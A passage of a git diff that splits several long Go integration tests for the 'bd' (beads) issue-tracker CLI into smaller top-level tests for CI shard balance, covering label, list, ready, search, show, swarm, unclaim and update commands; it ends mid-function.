TestEmbeddedLabelAddRemove(t *testing.T) { +// The TestEmbeddedLabelAddRemove* and TestEmbeddedLabelEditReports* tests +// were split from TestEmbeddedLabel (originally ~360s, measured under +// --config=embedded) into top-level tests over disjoint subtest groups, each +// on its own workspace, for CI shard balance (see +// scripts/ci/embedded_cmd_test_durations.json and engdocs/TESTING.md). Every +// original subtest is preserved exactly once, in its original order within +// its group; the label list-all subtests still follow subtests that add +// labels. +func TestEmbeddedLabelAddRemoveAdd(t *testing.T) { if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") } @@ -189,6 +192,16 @@ func TestEmbeddedLabelAddRemove(t *testing.T) { t.Errorf("expected valid JSON: %s", s) } }) +} + +func TestEmbeddedLabelAddRemoveMultiAndDuplicate(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) + dir, _, _ := bdInit(t, bd, "--prefix", "tl") t.Run("label_add_comma_separated_multi", func(t *testing.T) { issue := bdCreate(t, bd, dir, "Multi label add", "--type", "task") @@ -244,6 +257,16 @@ func TestEmbeddedLabelAddRemove(t *testing.T) { t.Errorf("expected exactly 1 'dup' label, got %d in %v", count, labels) } }) +} + +func TestEmbeddedLabelAddRemoveRemove(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) + dir, _, _ := bdInit(t, bd, "--prefix", "tl") // ===== Label Remove ===== @@ -375,19 +398,15 @@ func TestEmbeddedLabelAddRemove(t *testing.T) { }) } -// TestEmbeddedLabelEditReports was split from TestEmbeddedLabel (originally -// ~360s, measured under --config=embedded) into 3 top-level tests over -// disjoint subtest groups, for CI shard balance (see -// scripts/ci/embedded_cmd_test_durations.json and engdocs/TESTING.md). Every original -// subtest is preserved exactly once. -func TestEmbeddedLabelEditReports(t *testing.T) { +// See TestEmbeddedLabelAddRemoveAdd for the TestEmbeddedLabel split. +func TestEmbeddedLabelEditReportsPrefix(t *testing.T) { if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") } t.Parallel() bd := buildEmbeddedBD(t) - dir, beadsDir, _ := bdInit(t, bd, "--prefix", "tl") + dir, _, _ := bdInit(t, bd, "--prefix", "tl") // Two issues carrying DIFFERENT matching sets: the report is per issue and // each issue's set is resolved from its own labels, so a refactor that @@ -476,6 +495,16 @@ func TestEmbeddedLabelEditReports(t *testing.T) { t.Errorf("expected valid JSON: %s", s) } }) +} + +func TestEmbeddedLabelEditReportsNoop(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) + dir, _, _ := bdInit(t, bd, "--prefix", "tl") // ===== No-op edits (GH#5988) ===== // @@ -584,6 +613,16 @@ func TestEmbeddedLabelEditReports(t *testing.T) { t.Errorf("add claimed an edit on the issue that already had the label: %s", out) } }) +} + +func TestEmbeddedLabelEditReportsListAndTemplate(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) + dir, beadsDir, _ := bdInit(t, bd, "--prefix", "tl") // ===== Label List ===== diff --git a/cmd/bd/list_embedded_test.go b/cmd/bd/list_embedded_test.go index d67b026e1..231c253ae 100644 --- a/cmd/bd/list_embedded_test.go +++ b/cmd/bd/list_embedded_test.go @@ -177,22 +177,33 @@ type testSeedData struct { readyTask string // P0, labels: backend, no blockers } -// TestEmbeddedListFiltering and TestEmbeddedListSearchAndOutput were split -// from TestEmbeddedList (originally ~298s, measured under --config=embedded) -// into 2 top-level tests over disjoint subtest groups, for CI shard balance -// (see scripts/ci/embedded_cmd_test_durations.json and engdocs/TESTING.md). Every original -// subtest is preserved exactly once. -func TestEmbeddedListFiltering(t *testing.T) { +// seededListWorkspace is the TestEmbeddedList* tests' shared setup: an +// initialized workspace seeded by seedTestData. +func seededListWorkspace(t *testing.T) (bd, dir string, seed testSeedData) { + t.Helper() + bd = buildEmbeddedBD(t) + dir, _, _ = bdInit(t, bd, "--prefix", "tl") + + // Seed test data + seed = seedTestData(t, bd, dir) + return bd, dir, seed +} + +// The TestEmbeddedListFiltering* and TestEmbeddedListSearchAndOutput* tests +// were split from TestEmbeddedList (originally ~298s, measured under +// --config=embedded) into top-level tests over disjoint subtest groups, each +// on its own seeded workspace, for CI shard balance (see +// scripts/ci/embedded_cmd_test_durations.json and engdocs/TESTING.md). Every +// original subtest is preserved exactly once, in its original order within +// its group; each group ran on the unmodified seed in the original too (the +// subtests before each split point create no issues). +func TestEmbeddedListFilteringBasicAndLabels(t *testing.T) { if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") } t.Parallel() - bd := buildEmbeddedBD(t) - dir, _, _ := bdInit(t, bd, "--prefix", "tl") - - // Seed test data - seed := seedTestData(t, bd, dir) + bd, dir, seed := seededListWorkspace(t) // --- A. Basic filtering --- @@ -454,6 +465,15 @@ func TestEmbeddedListFiltering(t *testing.T) { t.Fatalf("--skip-labels JSON leaked labels: %v", out.Issues[0].Labels) } }) +} + +func TestEmbeddedListFilteringStatusAndHierarchy(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd, dir, seed := seededListWorkspace(t) // --- C. Status/special filtering --- // Note: --ready, --pinned, --status closed/deferred/in_progress tests are @@ -612,17 +632,13 @@ func TestEmbeddedListFiltering(t *testing.T) { }) } -func TestEmbeddedListSearchAndOutput(t *testing.T) { +func TestEmbeddedListSearchAndOutputSearchAndSort(t *testing.T) { if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") } t.Parallel() - bd := buildEmbeddedBD(t) - dir, _, _ := bdInit(t, bd, "--prefix", "tl") - - // Seed test data - seed := seedTestData(t, bd, dir) + bd, dir, seed := seededListWorkspace(t) // --- E. Content search --- @@ -725,6 +741,15 @@ func TestEmbeddedListSearchAndOutput(t *testing.T) { } } }) +} + +func TestEmbeddedListSearchAndOutputFormats(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd, dir, seed := seededListWorkspace(t) // --- I. Output formats --- diff --git a/cmd/bd/ready_embedded_test.go b/cmd/bd/ready_embedded_test.go index ca6b29839..2e35f8980 100644 --- a/cmd/bd/ready_embedded_test.go +++ b/cmd/bd/ready_embedded_test.go @@ -16,7 +16,7 @@ import ( "github.com/steveyegge/beads/internal/types" ) -func TestEmbeddedReady(t *testing.T) { +func TestEmbeddedReadyDefaultJSONAndFlags(t *testing.T) { if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") } @@ -193,125 +193,6 @@ func TestEmbeddedReady(t *testing.T) { } }) - // ===== With Blockers ===== - - t.Run("ready_excludes_blocked", func(t *testing.T) { - blocker := bdCreate(t, bd, dir, "Blocker issue", "--type", "task") - blocked := bdCreate(t, bd, dir, "Blocked by blocker", "--type", "task") - - // Add blocking dependency: blocked depends on blocker - cmd := exec.Command(bd, "dep", "add", blocked.ID, blocker.ID) - cmd.Dir = dir - cmd.Env = bdEnv(dir) - if out, err := cmd.CombinedOutput(); err != nil { - t.Fatalf("dep add failed: %v\n%s", err, out) - } - - cmd = exec.Command(bd, "ready") - cmd.Dir = dir - cmd.Env = bdEnv(dir) - stdout, stderr, err := runCommandBuffers(t, cmd) - if err != nil { - t.Fatalf("bd ready failed: %v\nstdout:\n%s\nstderr:\n%s", err, stdout.String(), stderr.String()) - } - // The blocked issue should not appear in ready output - if strings.Contains(stdout.String(), "Blocked by blocker") { - t.Errorf("blocked issue should not appear in ready output: %s", stdout.String()) - } - }) - - // ===== Exclude Label ===== - - t.Run("ready_exclude_label", func(t *testing.T) { - bdCreate(t, bd, dir, "Triage pending item", "--type", "task", "--label", "triage:pending") - bdCreate(t, bd, dir, "Normal ready item", "--type", "task") - - cmd := exec.Command(bd, "ready", "--exclude-label", "triage:pending") - cmd.Dir = dir - cmd.Env = bdEnv(dir) - stdout, stderr, err := runCommandBuffers(t, cmd) - if err != nil { - t.Fatalf("bd ready --exclude-label failed: %v\nstdout:\n%s\nstderr:\n%s", err, stdout.String(), stderr.String()) - } - if strings.Contains(stdout.String(), "Triage pending item") { - t.Errorf("triage:pending issue should not appear with --exclude-label: %s", stdout.String()) - } - if !strings.Contains(stdout.String(), "Normal ready item") { - t.Errorf("normal issue should still appear with --exclude-label: %s", stdout.String()) - } - }) - - // ===== Label Any ===== - - readyIDs := func(t *testing.T, args ...string) ([]string, string) { - t.Helper() - cmd := exec.Command(bd, args...) - cmd.Dir = dir - cmd.Env = bdEnv(dir) - stdout, stderr, err := runCommandBuffers(t, cmd) - if err != nil { - t.Fatalf("bd %s failed: %v\nstdout:\n%s\nstderr:\n%s", - strings.Join(args, " "), err, stdout.String(), stderr.String()) - } - var issues []types.IssueWithCounts - if err := json.Unmarshal(bytes.TrimSpace(stdout.Bytes()), &issues); err != nil { - t.Fatalf("parse JSON: %v\n%s", err, stdout.String()) - } - ids := make([]string, 0, len(issues)) - for _, issue := range issues { - ids = append(ids, issue.ID) - } - return ids, stdout.String() - } - - t.Run("ready_label_any", func(t *testing.T) { - laneA := bdCreate(t, bd, dir, "Lane A work", "--type", "task", "--label", "lany:lane-a") - bdCreate(t, bd, dir, "Lane B work", "--type", "task", "--label", "lany:lane-b") - laneC := bdCreate(t, bd, dir, "Lane C work", "--type", "task", "--label", "lany:lane-c") - - ids, raw := readyIDs(t, "ready", "--json", "--label-any", "lany:lane-a,lany:lane-c") - - want := map[string]bool{laneA.ID: true, laneC.ID: true} - if len(ids) != len(want) { - t.Fatalf("--label-any returned %d issues, want %d — an unfiltered ready set means the OR-set clause was dropped: %s", - len(ids), len(want), raw) - } - for _, id := range ids { - if !want[id] { - t.Fatalf("--label-any returned %s, which carries neither requested label: %s", id, raw) - } - } - }) - - t.Run("ready_label_any_intersects_with_label", func(t *testing.T) { - both := bdCreate(t, bd, dir, "Tiered lane A work", "--type", "task", - "--label", "lmix:tier", "--label", "lmix:lane-a") - bdCreate(t, bd, dir, "Untiered lane A work", "--type", "task", "--label", "lmix:lane-a") - bdCreate(t, bd, dir, "Tiered lane B work", "--type", "task", - "--label", "lmix:tier", "--label", "lmix:lane-b") - - ids, raw := readyIDs(t, "ready", "--json", - "--label", "lmix:tier", "--label-any", "lmix:lane-a,lmix:lane-c") - - if len(ids) != 1 || ids[0] != both.ID { - t.Fatalf("--label with --label-any returned %v, want only %s (AND-set and OR-set must both apply): %s", - ids, both.ID, raw) - } - }) - - t.Run("ready_claim_label_any_fences_to_its_lane", func(t *testing.T) { - // An exhausted lane must claim nothing. If --label-any is dropped here - // the claim silently takes unfenced work while the caller believes it - // is fenced to its own lane. - bdCreate(t, bd, dir, "Fence lane B work", "--type", "task", "--label", "lfence:lane-b") - - ids, raw := readyIDs(t, "ready", "--claim", "--json", "--label-any", "lfence:lane-a") - - if len(ids) != 0 { - t.Fatalf("--claim --label-any on an empty lane claimed %v, want nothing: %s", ids, raw) - } - }) - // ===== -C flag ===== t.Run("ready_with_C_flag", func(t *testing.T) { @@ -424,6 +305,134 @@ func TestEmbeddedReady(t *testing.T) { }) } +func TestEmbeddedReadyBlockersAndLabels(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) + dir, _, _ := bdInit(t, bd, "--prefix", "rd") + bdCreate(t, bd, dir, "Ready test issue", "--type", "task") + + // ===== With Blockers ===== + + t.Run("ready_excludes_blocked", func(t *testing.T) { + blocker := bdCreate(t, bd, dir, "Blocker issue", "--type", "task") + blocked := bdCreate(t, bd, dir, "Blocked by blocker", "--type", "task") + + // Add blocking dependency: blocked depends on blocker + cmd := exec.Command(bd, "dep", "add", blocked.ID, blocker.ID) + cmd.Dir = dir + cmd.Env = bdEnv(dir) + if out, err := cmd.CombinedOutput(); err != nil { + t.Fatalf("dep add failed: %v\n%s", err, out) + } + + cmd = exec.Command(bd, "ready") + cmd.Dir = dir + cmd.Env = bdEnv(dir) + stdout, stderr, err := runCommandBuffers(t, cmd) + if err != nil { + t.Fatalf("bd ready failed: %v\nstdout:\n%s\nstderr:\n%s", err, stdout.String(), stderr.String()) + } + // The blocked issue should not appear in ready output + if strings.Contains(stdout.String(), "Blocked by blocker") { + t.Errorf("blocked issue should not appear in ready output: %s", stdout.String()) + } + }) + + // ===== Exclude Label ===== + + t.Run("ready_exclude_label", func(t *testing.T) { + bdCreate(t, bd, dir, "Triage pending item", "--type", "task", "--label", "triage:pending") + bdCreate(t, bd, dir, "Normal ready item", "--type", "task") + + cmd := exec.Command(bd, "ready", "--exclude-label", "triage:pending") + cmd.Dir = dir + cmd.Env = bdEnv(dir) + stdout, stderr, err := runCommandBuffers(t, cmd) + if err != nil { + t.Fatalf("bd ready --exclude-label failed: %v\nstdout:\n%s\nstderr:\n%s", err, stdout.String(), stderr.String()) + } + if strings.Contains(stdout.String(), "Triage pending item") { + t.Errorf("triage:pending issue should not appear with --exclude-label: %s", stdout.String()) + } + if !strings.Contains(stdout.String(), "Normal ready item") { + t.Errorf("normal issue should still appear with --exclude-label: %s", stdout.String()) + } + }) + + readyIDs := func(t *testing.T, args ...string) ([]string, string) { + t.Helper() + cmd := exec.Command(bd, args...) + cmd.Dir = dir + cmd.Env = bdEnv(dir) + stdout, stderr, err := runCommandBuffers(t, cmd) + if err != nil { + t.Fatalf("bd %s failed: %v\nstdout:\n%s\nstderr:\n%s", + strings.Join(args, " "), err, stdout.String(), stderr.String()) + } + var issues []types.IssueWithCounts + if err := json.Unmarshal(bytes.TrimSpace(stdout.Bytes()), &issues); err != nil { + t.Fatalf("parse JSON: %v\n%s", err, stdout.String()) + } + ids := make([]string, 0, len(issues)) + for _, issue := range issues { + ids = append(ids, issue.ID) + } + return ids, stdout.String() + } + + t.Run("ready_label_any", func(t *testing.T) { + laneA := bdCreate(t, bd, dir, "Lane A work", "--type", "task", "--label", "lany:lane-a") + bdCreate(t, bd, dir, "Lane B work", "--type", "task", "--label", "lany:lane-b") + laneC := bdCreate(t, bd, dir, "Lane C work", "--type", "task", "--label", "lany:lane-c") + + ids, raw := readyIDs(t, "ready", "--json", "--label-any", "lany:lane-a,lany:lane-c") + + want := map[string]bool{laneA.ID: true, laneC.ID: true} + if len(ids) != len(want) { + t.Fatalf("--label-any returned %d issues, want %d — an unfiltered ready set means the OR-set clause was dropped: %s", + len(ids), len(want), raw) + } + for _, id := range ids { + if !want[id] { + t.Fatalf("--label-any returned %s, which carries neither requested label: %s", id, raw) + } + } + }) + + t.Run("ready_label_any_intersects_with_label", func(t *testing.T) { + both := bdCreate(t, bd, dir, "Tiered lane A work", "--type", "task", + "--label", "lmix:tier", "--label", "lmix:lane-a") + bdCreate(t, bd, dir, "Untiered lane A work", "--type", "task", "--label", "lmix:lane-a") + bdCreate(t, bd, dir, "Tiered lane B work", "--type", "task", + "--label", "lmix:tier", "--label", "lmix:lane-b") + + ids, raw := readyIDs(t, "ready", "--json", + "--label", "lmix:tier", "--label-any", "lmix:lane-a,lmix:lane-c") + + if len(ids) != 1 || ids[0] != both.ID { + t.Fatalf("--label with --label-any returned %v, want only %s (AND-set and OR-set must both apply): %s", + ids, both.ID, raw) + } + }) + + t.Run("ready_claim_label_any_fences_to_its_lane", func(t *testing.T) { + // An exhausted lane must claim nothing. If --label-any is dropped here + // the claim silently takes unfenced work while the caller believes it + // is fenced to its own lane. + bdCreate(t, bd, dir, "Fence lane B work", "--type", "task", "--label", "lfence:lane-b") + + ids, raw := readyIDs(t, "ready", "--claim", "--json", "--label-any", "lfence:lane-a") + + if len(ids) != 0 { + t.Fatalf("--claim --label-any on an empty lane claimed %v, want nothing: %s", ids, raw) + } + }) +} + func TestEmbeddedReadyConcurrent(t *testing.T) { if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") diff --git a/cmd/bd/search_embedded_test.go b/cmd/bd/search_embedded_test.go index ebc30af45..fae6d0808 100644 --- a/cmd/bd/search_embedded_test.go +++ b/cmd/bd/search_embedded_test.go @@ -64,7 +64,7 @@ func bdSearchJSON(t *testing.T, bd, dir string, args ...string) []map[string]int return results } -func TestEmbeddedSearch(t *testing.T) { +func TestEmbeddedSearchQueryStatusAssigneeLabels(t *testing.T) { if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") } @@ -140,42 +140,6 @@ func TestEmbeddedSearch(t *testing.T) { } }) - t.Run("search_status_all", func(t *testing.T) { - // Use prefix to match all issues - results := bdSearchJSON(t, bd, dir, "sr-", "--status", "all") - ids := map[string]bool{} - for _, r := range results { - ids[r["id"].(string)] = true - } - if !ids[taskA.ID] || !ids[closedTask.ID] { - t.Error("expected both open and closed issues with --status all") - } - }) - - t.Run("search_default_includes_closed", func(t *testing.T) { - // bd-t5yex: "was this already filed/fixed?" is the dominant search - // query, so the default must not silently hide closed issues. - results := bdSearchJSON(t, bd, dir, "sr-") - ids := map[string]bool{} - for _, r := range results { - ids[r["id"].(string)] = true - } - if !ids[taskA.ID] || !ids[closedTask.ID] { - t.Error("expected default search to include open and closed issues") - } - }) - - t.Run("search_status_comma_separated", func(t *testing.T) { - results := bdSearchJSON(t, bd, dir, "sr-", "--status", "open,closed") - ids := map[string]bool{} - for _, r := range results { - ids[r["id"].(string)] = true - } - if !ids[taskA.ID] || !ids[closedTask.ID] { - t.Error("expected both open and closed issues with --status open,closed") - } - }) - t.Run("search_status_invalid", func(t *testing.T) { out := bdSearchFail(t, bd, dir, "sr-", "--status", "not-a-status") if !strings.Contains(out, "invalid status") || !strings.Contains(out, "not-a-status") { @@ -257,6 +221,97 @@ func TestEmbeddedSearch(t *testing.T) { } }) + // ===== Description Filters ===== + + t.Run("search_desc_contains", func(t *testing.T) { + results := bdSearchJSON(t, bd, dir, "sr-", "--desc-contains", "alpha") + found := false + for _, r := range results { + if r["id"] == taskA.ID { + found = true + } + } + if !found { + t.Error("expected to find taskA with --desc-contains alpha") + } + }) + + t.Run("search_empty_description", func(t *testing.T) { + results := bdSearchJSON(t, bd, dir, "sr-", "--empty-description") + found := false + for _, r := range results { + if r["id"] == taskD.ID { + found = true + } + } + if !found { + t.Error("expected to find task without description") + } + for _, r := range results { + if r["id"] == taskA.ID { + t.Error("task with description should not appear with --empty-description") + } + } + }) + + _ = taskB + _ = taskC + _ = taskD +} + +func TestEmbeddedSearchStatusLimitSortDatesMetadata(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) + dir, _, _ := bdInit(t, bd, "--prefix", "sr") + + // Create test fixtures + taskA := bdCreate(t, bd, dir, "Alpha task", "--type", "task", "--priority", "1", "--assignee", "alice", "--description", "Important alpha work", "--label", "urgent") + taskB := bdCreate(t, bd, dir, "Beta bug", "--type", "bug", "--priority", "3", "--assignee", "bob", "--description", "Beta bug description", "--label", "backend") + taskC := bdCreate(t, bd, dir, "Gamma feature", "--type", "feature", "--priority", "2", "--label", "urgent", "--label", "frontend") + taskD := bdCreate(t, bd, dir, "Delta task no desc", "--type", "task") + closedTask := bdCreate(t, bd, dir, "Closed epsilon", "--type", "task") + bdClose(t, bd, dir, closedTask.ID) + + t.Run("search_status_all", func(t *testing.T) { + // Use prefix to match all issues + results := bdSearchJSON(t, bd, dir, "sr-", "--status", "all") + ids := map[string]bool{} + for _, r := range results { + ids[r["id"].(string)] = true + } + if !ids[taskA.ID] || !ids[closedTask.ID] { + t.Error("expected both open and closed issues with --status all") + } + }) + + t.Run("search_default_includes_closed", func(t *testing.T) { + // bd-t5yex: "was this already filed/fixed?" is the dominant search + // query, so the default must not silently hide closed issues. + results := bdSearchJSON(t, bd, dir, "sr-") + ids := map[string]bool{} + for _, r := range results { + ids[r["id"].(string)] = true + } + if !ids[taskA.ID] || !ids[closedTask.ID] { + t.Error("expected default search to include open and closed issues") + } + }) + + t.Run("search_status_comma_separated", func(t *testing.T) { + results := bdSearchJSON(t, bd, dir, "sr-", "--status", "open,closed") + ids := map[string]bool{} + for _, r := range results { + ids[r["id"].(string)] = true + } + if !ids[taskA.ID] || !ids[closedTask.ID] { + t.Error("expected both open and closed issues with --status open,closed") + } + }) + // ===== Limit ===== t.Run("search_limit", func(t *testing.T) { @@ -323,39 +378,6 @@ func TestEmbeddedSearch(t *testing.T) { } }) - // ===== Description Filters ===== - - t.Run("search_desc_contains", func(t *testing.T) { - results := bdSearchJSON(t, bd, dir, "sr-", "--desc-contains", "alpha") - found := false - for _, r := range results { - if r["id"] == taskA.ID { - found = true - } - } - if !found { - t.Error("expected to find taskA with --desc-contains alpha") - } - }) - - t.Run("search_empty_description", func(t *testing.T) { - results := bdSearchJSON(t, bd, dir, "sr-", "--empty-description") - found := false - for _, r := range results { - if r["id"] == taskD.ID { - found = true - } - } - if !found { - t.Error("expected to find task without description") - } - for _, r := range results { - if r["id"] == taskA.ID { - t.Error("task with description should not appear with --empty-description") - } - } - }) - // ===== Long Output ===== t.Run("search_long", func(t *testing.T) { diff --git a/cmd/bd/show_embedded_test.go b/cmd/bd/show_embedded_test.go index 04f9649f2..b142aa2f8 100644 --- a/cmd/bd/show_embedded_test.go +++ b/cmd/bd/show_embedded_test.go @@ -300,14 +300,21 @@ func TestEmbeddedShowBasicsAndJSON(t *testing.T) { }) } -func TestEmbeddedShowDetailAndCurrent(t *testing.T) { +// TestEmbeddedShowDetailAndCurrentFlags and +// TestEmbeddedShowDetailAndCurrentHistoryAndCurrent were split from +// TestEmbeddedShowDetailAndCurrent into two top-level tests over disjoint +// subtest groups, each on its own workspace, for CI shard balance. Every +// subtest is preserved exactly once, in its original order within its group; +// show_current_fallback_to_last_touched still follows subtests that show +// issues (show_as_of, show_local_time). +func TestEmbeddedShowDetailAndCurrentFlags(t *testing.T) { if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") } t.Parallel() bd := buildEmbeddedBD(t) - dir, beadsDir, _ := bdInit(t, bd, "--prefix", "ts") + dir, _, _ := bdInit(t, bd, "--prefix", "ts") // ===== --long ===== @@ -362,6 +369,16 @@ func TestEmbeddedShowDetailAndCurrent(t *testing.T) { // Should not error even with no children _ = bdShowRaw(t, bd, dir, issue.ID, "--children") }) +} + +func TestEmbeddedShowDetailAndCurrentHistoryAndCurrent(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) + dir, beadsDir, _ := bdInit(t, bd, "--prefix", "ts") // ===== --as-of ===== diff --git a/cmd/bd/swarm_embedded_test.go b/cmd/bd/swarm_embedded_test.go index 69379614a..38b812af7 100644 --- a/cmd/bd/swarm_embedded_test.go +++ b/cmd/bd/swarm_embedded_test.go @@ -104,14 +104,22 @@ func createSwarmableEpic(t *testing.T, bd, dir, prefix string) (epicID string, c return epicID, childIDs } -func TestEmbeddedSwarm(t *testing.T) { +// setupEmbeddedSwarm is the TestEmbeddedSwarm* tests' workspace (prefix sw). +func setupEmbeddedSwarm(t *testing.T) (string, string) { + t.Helper() + + bd := buildEmbeddedBD(t) + dir, _, _ := bdInit(t, bd, "--prefix", "sw") + return bd, dir +} + +func TestEmbeddedSwarmValidate(t *testing.T) { if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") } t.Parallel() - bd := buildEmbeddedBD(t) - dir, _, _ := bdInit(t, bd, "--prefix", "sw") + bd, dir := setupEmbeddedSwarm(t) epicID, _ := createSwarmableEpic(t, bd, dir, "Swarm") @@ -149,6 +157,15 @@ func TestEmbeddedSwarm(t *testing.T) { t.Errorf("expected warning about no children: %s", out) } }) +} + +func TestEmbeddedSwarmCreate(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd, dir := setupEmbeddedSwarm(t) // ===== swarm create ===== @@ -176,6 +193,15 @@ func TestEmbeddedSwarm(t *testing.T) { t.Errorf("expected coordinator=alice, got %v", m["coordinator"]) } }) +} + +func TestEmbeddedSwarmCreateForceAndErrors(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd, dir := setupEmbeddedSwarm(t) t.Run("create_force", func(t *testing.T) { eID, _ := createSwarmableEpic(t, bd, dir, "Force") @@ -202,6 +228,15 @@ func TestEmbeddedSwarm(t *testing.T) { bdSwarm(t, bd, dir, "create", eID) bdSwarmFail(t, bd, dir, "create", eID) }) +} + +func TestEmbeddedSwarmStatusList(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd, dir := setupEmbeddedSwarm(t) // ===== swarm status ===== diff --git a/cmd/bd/unclaim_embedded_test.go b/cmd/bd/unclaim_embedded_test.go index b5535fcd2..d969e6a4f 100644 --- a/cmd/bd/unclaim_embedded_test.go +++ b/cmd/bd/unclaim_embedded_test.go @@ -38,7 +38,7 @@ func bdUnclaimFail(t *testing.T, bd, dir string, args ...string) string { return string(out) } -func TestEmbeddedUnclaim(t *testing.T) { +func TestEmbeddedUnclaimSuccess(t *testing.T) { if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") } @@ -122,6 +122,16 @@ func TestEmbeddedUnclaim(t *testing.T) { t.Errorf("expected status open after unclaim, got %q", unclaimed[0].Status) } }) +} + +func TestEmbeddedUnclaimBatchAndRefusals(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) + dir, _, _ := bdInit(t, bd, "--prefix", "tu") // ===== Multiple IDs ===== diff --git a/cmd/bd/update_embedded_test.go b/cmd/bd/update_embedded_test.go index 1b1841576..f71511b17 100644 --- a/cmd/bd/update_embedded_test.go +++ b/cmd/bd/update_embedded_test.go @@ -243,12 +243,14 @@ func TestEmbeddedUpdateRoutedStoreCommitsTargetHead(t *testing.T) { } } -// TestEmbeddedUpdateFields and TestEmbeddedUpdateLifecycle were split from -// TestEmbeddedUpdate (originally ~267s, measured under --config=embedded) -// into 2 top-level tests over disjoint subtest groups, for CI shard balance -// (see scripts/ci/embedded_cmd_test_durations.json and engdocs/TESTING.md). Every original -// subtest is preserved exactly once. -func TestEmbeddedUpdateFields(t *testing.T) { +// The TestEmbeddedUpdateFields* and TestEmbeddedUpdateLifecycle* tests were +// split from TestEmbeddedUpdate (originally ~267s, measured under +// --config=embedded), first into TestEmbeddedUpdateFields and +// TestEmbeddedUpdateLifecycle and then (~75s each on rbe-west) into these 5 +// top-level tests over disjoint subtest groups, each with its own workspace, +// for CI shard balance (see scripts/ci/embedded_cmd_test_durations.json and +// engdocs/TESTING.md). Every original subtest is preserved exactly once. +func TestEmbeddedUpdateFieldsMappingAndRefs(t *testing.T) { if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") } @@ -406,6 +408,16 @@ func TestEmbeddedUpdateFields(t *testing.T) { t.Errorf("expected external_ref field to be omitted from JSON after clear, got: %s", rawA) } }) +} + +func TestEmbeddedUpdateFieldsNotesOverwrite(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) + dir, _, _ := bdInit(t, bd, "--prefix", "tu") t.Run("update_notes_overwrite_requires_force", func(t *testing.T) { issue := bdCreate(t, bd, dir, "Notes force test", "--type", "task") @@ -466,6 +478,16 @@ func 